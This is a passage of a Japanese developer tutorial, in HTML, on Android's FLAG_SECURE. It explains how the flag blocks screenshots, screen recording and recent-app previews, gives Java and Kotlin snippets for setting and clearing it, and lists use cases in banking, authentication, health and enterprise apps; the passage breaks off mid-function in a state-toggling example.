&lt;p&gt;さらに、&lt;strong&gt;最近使ったアプリ／概要画面&lt;/strong&gt;があります。上にスワイプしたり、［最近］ボタンをタップしたりしたときに表示される画面です。通常、AndroidはアプリのUIのスナップショットを撮り、それを小さなカードのプレビューとして使用します。&lt;code&gt;FLAG_SECURE&lt;/code&gt;が有効な場合、そのスナップショットは意図的に役に立たないものになります。システムの概要画面／最近使ったアプリ画面では、Androidはセキュアなウィンドウの画像を表示しません。通常は単色または黒い長方形として表示され、アプリがバックグラウンドにあるときや、誰かが肩越しに開いているアプリを次々に切り替えているときに、機密情報が見えないようにします。&lt;/p&gt;
&lt;p&gt;そして、これらはすべて&lt;strong&gt;非常に意図的にスコープが限定されています&lt;/strong&gt;。&lt;code&gt;FLAG_SECURE&lt;/code&gt;は端末全体をロックするわけでも、すべてのアプリに影響するわけでもありません。設定された特定のウィンドウ（&lt;code&gt;Activity&lt;/code&gt;、&lt;code&gt;Dialog&lt;/code&gt;など）にのみ適用されます。別のActivityにフラグを設定しなければ、その画面は通常どおりに動作します。スクリーンショットも録画もでき、最近使ったアプリのプレビューにもUIがそのまま表示されます。&lt;/p&gt;
&lt;p&gt;要するに、&lt;code&gt;FLAG_SECURE&lt;/code&gt;は、ユーザー（または他のアプリ）がAndroid自身の表示パイプラインを通じてアプリから視覚的にキャプチャできるものを保護しますが、それはグローバルな「プライバシーモード」としてではなく、ウィンドウ単位で行われます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="セキュリティポリシーによる「スクリーンショットがブロックされました」という警告を表示したスマートフォン画面のクローズアップ。Android開発で画面キャプチャを防ぐためにFLAG_SECUREウィンドウフラグを有効にした結果を示している" class="img-fluid" src="/static/img/2025_12_29_android_flag_secure/screenshot-blocked.png" title="AndroidのFLAG_SECUREの例：スクリーンショットのブロック通知"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;AndroidのFLAG_SECUREの例：スクリーンショットのブロック通知&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="2. flag_secureの内部的な仕組み"&gt;&lt;strong&gt;2. &lt;code&gt;FLAG_SECURE&lt;/code&gt;の内部的な仕組み&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;目に見える挙動を確認したところで、概念的に実際に何が起きているのかを見ていきましょう。&lt;/p&gt;
&lt;p&gt;このフラグは、ウィンドウに付いた&lt;strong&gt;プライバシースイッチ&lt;/strong&gt;として考えるのが最も簡単です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;スイッチON&lt;/strong&gt; &amp;rarr; Androidに「このウィンドウのピクセルを、キャプチャ可能な形でセキュアな表示パイプラインの外に決して出さないこと」と伝えます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;スイッチOFF&lt;/strong&gt; &amp;rarr; ウィンドウは通常のものとして振る舞い、スクリーンショットも録画も許可されます。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;内部的には、ウィンドウに&lt;code&gt;FLAG_SECURE&lt;/code&gt;が設定されていると、Androidのコンポジターはそのウィンドウが「セキュア」であることを記録しておきます。スクリーンショットAPI、画面録画、最近のタスクのサムネイル生成、あるいは一部のキャスト／ミラーリングのシナリオなど、システムが画面のキャプチャを求められるたびに、表示されているすべてのウィンドウから画像を組み立てる必要があります。セキュアでないウィンドウについては、そのピクセルをそのままキャプチャにコピーします。セキュアな&lt;em&gt;ウィンドウ&lt;/em&gt;については、画面をキャプチャしようとすると、そのウィンドウが除外されるか、黒い／何もないプレースホルダーに置き換えられます。&lt;/p&gt;
&lt;p&gt;重要なのは、これが&lt;strong&gt;アプリのロジックではなくシステムによって強制される&lt;/strong&gt;という点です。スクリーンショットのイベントを横取りしたり、録画アプリが動いているかどうかを推測したりする必要はありません。フラグが設定されれば、そのウィンドウのピクセルがスクリーンショット、録画、サムネイルに漏れないようにする責任はAndroid自身が負います。公式のAPIを使って巧妙に画面をキャプチャしようとする他のアプリも、同じルールに縛られます。ピクセルを要求しても、コンポジターがセキュアポリシーを適用するため、コンテンツは表示されません。&lt;/p&gt;
&lt;p&gt;これが、ソフトウェアを介してUIをキャプチャしようとする何気ない試みや、ある程度執拗な試みに対しても、&lt;code&gt;FLAG_SECURE&lt;/code&gt;がそれなりに堅牢である理由でもあります。しかし、これが&lt;em&gt;カバーしない&lt;/em&gt;範囲を心に留めておくことが極めて重要です。このフラグが制御するのは、Androidのレンダリングパイプラインを通じた視覚的なキャプチャだけです。ストレージ、ネットワーク、その他のどこにあるデータも、魔法のように保護してくれるわけではありません。&lt;/p&gt;
&lt;h2 id="3. コードでflag_secureを使う方法"&gt;&lt;strong&gt;3. コードで&lt;code&gt;FLAG_SECURE&lt;/code&gt;を使う方法&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;実装の部分は簡単です。秘密のAPIも特別な権限も必要なく、ウィンドウにフラグを設定するだけです。&lt;/p&gt;
&lt;p&gt;通常は、&lt;code&gt;Activity&lt;/code&gt;の&lt;code&gt;onCreate&lt;/code&gt;の中で、&lt;code&gt;setContentView&lt;/code&gt;を呼び出す前かその前後に有効にします。Javaでは次のようになります。&lt;/p&gt;
&lt;p&gt;Javaで&lt;code&gt;FLAG_SECURE&lt;/code&gt;を使う方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;android.os.Bundle&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;android.view.WindowManager&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;androidx.appcompat.app.AppCompatActivity&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;SecureActivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AppCompatActivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Bundle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;getWindow&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;setFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;setContentView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;layout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;activity_secure&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Kotlinで&lt;code&gt;FLAG_SECURE&lt;/code&gt;を使う方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;android.os.Bundle&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;android.view.WindowManager&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;androidx.appcompat.app.AppCompatActivity&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;SecureActivity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;AppCompatActivity&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;override&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;fun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Bundle?)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;savedInstanceState&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;setContentView&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;R&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;layout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;activity_secure&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これだけで、そのActivityのウィンドウは、Activityが存在している間ずっとセキュアになります。&lt;/p&gt;
&lt;p&gt;ただし、ウィンドウを&lt;strong&gt;常に&lt;/strong&gt;セキュアにしたいとは限りません。画面の一部だけが機密で残りはそうでない場合や、スクリーンショットを許可したい特定のモードがある場合もあるでしょう。そのような場合は、不要になった時点で実行時に&lt;code&gt;FLAG_SECURE&lt;/code&gt;を&lt;strong&gt;解除&lt;/strong&gt;できます。&lt;/p&gt;
&lt;p&gt;Kotlinで、不要になった&lt;code&gt;FLAG_SECURE&lt;/code&gt;を実行時に&lt;strong&gt;解除&lt;/strong&gt;する方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;clearFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Javaで、不要になった&lt;code&gt;FLAG_SECURE&lt;/code&gt;を実行時に&lt;strong&gt;解除&lt;/strong&gt;する方法：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;getWindow&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;clearFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ここで重要なのは、&lt;code&gt;FLAG_SECURE&lt;/code&gt;が&lt;strong&gt;アプリ単位ではなくウィンドウ単位&lt;/strong&gt;であるという点です。定数は次のとおりです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;これをアプリ全体に自動的に適用するマニフェストの設定はありません。ウィンドウごとに設定（または解除）する必要があります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;保護したい各&lt;code&gt;Activity&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;セキュアにすべき各&lt;code&gt;Dialog&lt;/code&gt;またはカスタムウィンドウ&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これは機能であると同時に、自分の足を撃ちかねない落とし穴でもあります。きめ細かな制御ができる一方で、機密性の高い画面をすべて漏れなくカバーしていることを自分で確認しなければなりません。&lt;/p&gt;
&lt;h2 id="4. flag_secureの一般的なユースケース"&gt;&lt;strong&gt;4. &lt;code&gt;FLAG_SECURE&lt;/code&gt;の一般的なユースケース&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;では、現実の世界ではどこでこれを使うのが理にかなっているのでしょうか。手短に答えるなら、誰かのスクリーンショットのアーカイブ、クラウドバックアップ、チャット履歴に何気なく残ってほしく&lt;em&gt;ない&lt;/em&gt;情報を表示する場所すべてです。&lt;/p&gt;
&lt;p&gt;よくあるカテゴリをいくつか見ていきましょう。&lt;/p&gt;
&lt;h3 id="4.1 銀行・金融アプリケーション"&gt;&lt;strong&gt;4.1 銀行・金融アプリケーション&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;銀行・金融アプリは、まさにその代表例です。口座残高、取引明細書、取引履歴、カード番号、ワンタイムパスワード（OTP）を表示する画面には、機密性が高く、悪意のある人の手に渡れば再利用されやすいデータが詰まっています。これらの画面でスクリーンショットが自由に撮れてしまうと、その情報はユーザーの写真ギャラリーに保存されたり、クラウドストレージに同期されたり、メッセージアプリで転送されたりします。しかも多くの場合、暗号化もアクセス制御も一切ありません。&lt;/p&gt;
&lt;p&gt;こうした金融関連の画面で&lt;code&gt;FLAG_SECURE&lt;/code&gt;を有効にすることは、その漏えい経路の手前に基本的な減速帯を設けることになります。別の端末で画面を撮影しようと決めている人を止めることはできませんが、「ちょっとスクリーンショットを撮っておこう」という何気ない行動の多くを防ぐことができます。そうした行動こそ、後になって人々を悩ませるものです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="個人を特定できる情報（PII）や金融資産など、極めて機密性の高い情報を表示するフィンテックアプリケーションのイラスト。データ漏えいや不正アクセスに対する堅牢な防御を必要とする重要なアタックサーフェスを表している。" class="img-fluid" src="/static/img/2025_12_29_android_flag_secure/bank-account-sensitive-ui.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="4.2 認証・セキュリティアプリケーション"&gt;&lt;strong&gt;4.2 認証・セキュリティアプリケーション&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;パスワードマネージャー、2FA／OTPジェネレーター、本人確認フローなど、認証やシークレットに関わるものを構築しているなら、&lt;code&gt;FLAG_SECURE&lt;/code&gt;をしっかりと視野に入れておくべきです。&lt;/p&gt;
&lt;p&gt;こうしたアプリは、パスワード、リカバリーキー、バックアップコード、有効期間の短いログインコードなど、価値の高いシークレットを日常的に表示します。ユーザーがこれらの画面のスクリーンショットを撮れると、それらはまさに保存して&lt;em&gt;ほしくない&lt;/em&gt;場所、つまりカメラロール、クラウドのギャラリー、適当なメモアプリに保存されがちです。そこから先へ漏えいするのに、たいした手間はかかりません。&lt;/p&gt;
&lt;p&gt;シークレットを表示するアプリの部分に&lt;code&gt;FLAG_SECURE&lt;/code&gt;を適用すれば、OSを介して簡単にキャプチャされることはなくなります。ユーザーがそれらを残しておきたい場合は、書き留める、別のカメラを使うといった、より意図的な手順を踏む必要があります。これですべての問題が解決するわけではありませんが、あらゆる場所でスクリーンショットが許可されているときに見られる偶発的な露出を劇的に減らせます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="時間ベースのワンタイムパスワード（TOTP）とセキュリティトークンを生成する多要素認証（MFA）ユーティリティのイラスト。視覚的な情報収集の手法から保護しなければならない重要なシークレットの取り扱いを示している。" class="img-fluid" src="/static/img/2025_12_29_android_flag_secure/authenticator-app-sensitive-ui.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="4.3 ヘルスケア・医療アプリケーション"&gt;&lt;strong&gt;4.3 ヘルスケア・医療アプリケーション&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;ヘルスケア・医療アプリは、データが極めて個人的なものであり、多くの法域で厳しく規制されているという特別なカテゴリに属します。&lt;/p&gt;
&lt;p&gt;個人の健康記録、臨床検査の結果、診断、治療の詳細、詳細な診察メモを表示する画面は、「ちょっとしたプライベート情報」ではありません。多くの場合、厳格なプライバシー法の対象となります。これらの画面をスクリーンショットや動画としてキャプチャでき、それが自動的にバックアップされたり共有されたりするのであれば、非常に機密性の高いデータがアプリの管理下から出ていく容易な経路を作ってしまったことになります。&lt;/p&gt;
&lt;p&gt;これらの画面で&lt;code&gt;FLAG_SECURE&lt;/code&gt;を使うことは、そのリスクの低減に役立ちます。適切な暗号化、アクセス制御、コンプライアンス対応の代わりにはなりませんが、非常に具体的な問題に対処できます。それは、人々が自分の検査結果をさっとスクリーンショットに撮り、医療プライバシーを前提に設計されていない環境へ、知らないうちにその画像を送り込んでしまうという問題です。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="電子健康記録（EHR）と保護対象保健情報（PHI）を表示するヘルスケアモバイルアプリケーションのイラスト。厳格な規制コンプライアンス（HIPAAなど）の対象となり、データの露出に対する強力な制御が求められるインターフェースを示している。" class="img-fluid" src="/static/img/2025_12_29_android_flag_secure/health-app-sensitive-ui.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="4.4 エンタープライズ・社内ツール"&gt;&lt;strong&gt;4.4 エンタープライズ・社内ツール&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;組織の内部には、誰もTwitterに載ってほしくないような、あらゆる種類の情報を露出する社内ダッシュボード、管理パネル、デバッグツールがよくあります。社内の指標、顧客データ、インシデントのタイムライン、設定画面、識別子やシークレットが散在するログ画面などを思い浮かべてください。&lt;/p&gt;
&lt;p&gt;こうした環境では、従業員がスクリーンショットを撮って社内で共有することはごく普通のことかもしれません。しかしそれも、そのスクリーンショットの一枚が組織の外へ漏えいしたり、決してあってはならない場所に現れたりするまでの話です。本番システムに対して使われるデバッグツールは特に危険です。そもそも顧客に見せることを想定していない生データを表示することが多いからです。&lt;/p&gt;
&lt;p&gt;特に機密性の高い管理画面や社内ツールで&lt;code&gt;FLAG_SECURE&lt;/code&gt;を有効にすることは、そうした行動による被害範囲を限定する現実的な方法です。作業内容を記録することは引き続き可能ですが、最も機密性の高い社内UIを、ピクセル単位で正確に複製して配布することはもはや容易ではなくなります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="運用インテリジェンス、システムアラート、ユーザーログを露出する社内管理コンソールのイラスト。特権アクセス管理とデータマスキングを必要とする、見落とされがちな攻撃ベクトルを浮き彫りにしている。" class="img-fluid" src="/static/img/2025_12_29_android_flag_secure/admin-dashboard-sensitive-ui.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h3 id="4.5 プライバシーが重要なコミュニケーションとキオスクのシナリオ"&gt;&lt;strong&gt;4.5 プライバシーが重要なコミュニケーションとキオスクのシナリオ&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;特定の分野よりも、人々がアプリを&lt;em&gt;どのように&lt;/em&gt;使うかによって機密性が決まる種類のアプリもあります。セキュアメッセージング、一時的なチャット、自動消滅するメッセージなどがよい例です。&lt;/p&gt;
&lt;p&gt;「このメッセージは消えます」とうたっているのに、UIが簡単にスクリーンショットに撮れるのであれば、体験と期待が食い違っています。誰かが別のスマートフォンを画面に向けるのを止めることはできませんが、少なくとも、簡単に使える標準のキャプチャ経路を認めないようにすることはできます。そうした特別な会話に&lt;code&gt;FLAG_SECURE&lt;/code&gt;を付けることは、これは写真ギャラリーに永遠に残すためのものではない、という明確なシグナルを送ることになります。&lt;/p&gt;
&lt;p&gt;キオスク型のアプリケーションも興味深いケースです。チェックイン端末、順番待ちシステム、セルフサービスのフォームなど、半公共の場所で人々が近づいて使う共有端末を考えてみてください。こうした画面には、氏名、ID、予約の詳細、その他の個人データが短時間表示されることがよくあります。これらのフローで&lt;code&gt;FLAG_SECURE&lt;/code&gt;を有効にすれば、機会をうかがうユーザーや、端末上で動作する悪意のあるソフトウェアが、画面に表示された内容をひそかに収集することをはるかに困難にできます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="一時的なデータ（消えるメッセージ）とセキュアな通信を示すインジケーターを備えたセキュアメッセージングプラットフォームのイラスト。パステルレッドの背景により、スクリーンショット防止のようなアンチフォレンジックのセキュリティポリシーが積極的に適用されていることを強調している。" class="img-fluid" src="/static/img/2025_12_29_android_flag_secure/conversation-private-ui.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;
これらすべてのカテゴリに共通する原則は、&lt;strong&gt;画面に表示される内容の機密性が、スクリーンショットの利便性を明らかに上回る場所で&lt;code&gt;FLAG_SECURE&lt;/code&gt;を使う&lt;/strong&gt;ということです。それ以外の場所では、有効にする前によく考えてください。&lt;/p&gt;
&lt;h2 id="5. 設計パターン:どこで、いつ有効にするか"&gt;&lt;strong&gt;5. 設計パターン：どこで、いつ有効にするか&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;アプリのあちこちに&lt;code&gt;FLAG_SECURE&lt;/code&gt;を無作為にちりばめるのは戦略とは言えません。セキュリティとユーザビリティのバランスを取る、意図的なパターンが必要です。&lt;/p&gt;
&lt;p&gt;シンプルなパターンの一つが、&lt;strong&gt;「常にセキュア」なActivity&lt;/strong&gt;です。画面によっては、表示するものすべてが機密です。典型的な例は&lt;code&gt;OtpVerificationActivity&lt;/code&gt;や&lt;code&gt;CardDetailsActivity&lt;/code&gt;のようなものです。こうした画面では、&lt;code&gt;onCreate&lt;/code&gt;で&lt;code&gt;FLAG_SECURE&lt;/code&gt;を設定し、一度も解除しないだけで済みます。ユーザーがそのActivityに来たときはいつでも、スクリーンショットも録画も完全に不可能です。&lt;/p&gt;
&lt;p&gt;よりきめ細かなパターンが、&lt;strong&gt;状態に基づく切り替え&lt;/strong&gt;です。通常は無害なコンテンツを表示しているものの、ときどき「機密情報の詳細」パネル、たとえば口座番号の全桁を表示するボトムシートを表示する、単一の&lt;code&gt;MainActivity&lt;/code&gt;を想像してください。そのパネルが非表示の間は、スクリーンショットをブロックする理由はありません。パネルを表示した瞬間にフラグをオンにし、閉じられたらフラグを再びオフにします。Kotlinでは次のようになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;fun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;showSensitiveContent&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setFlags&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;WindowManager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;LayoutParams&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;FLAG_SECURE&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Show a fragment or view containing sensitive data&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;fun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;hideSensitiveContent&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
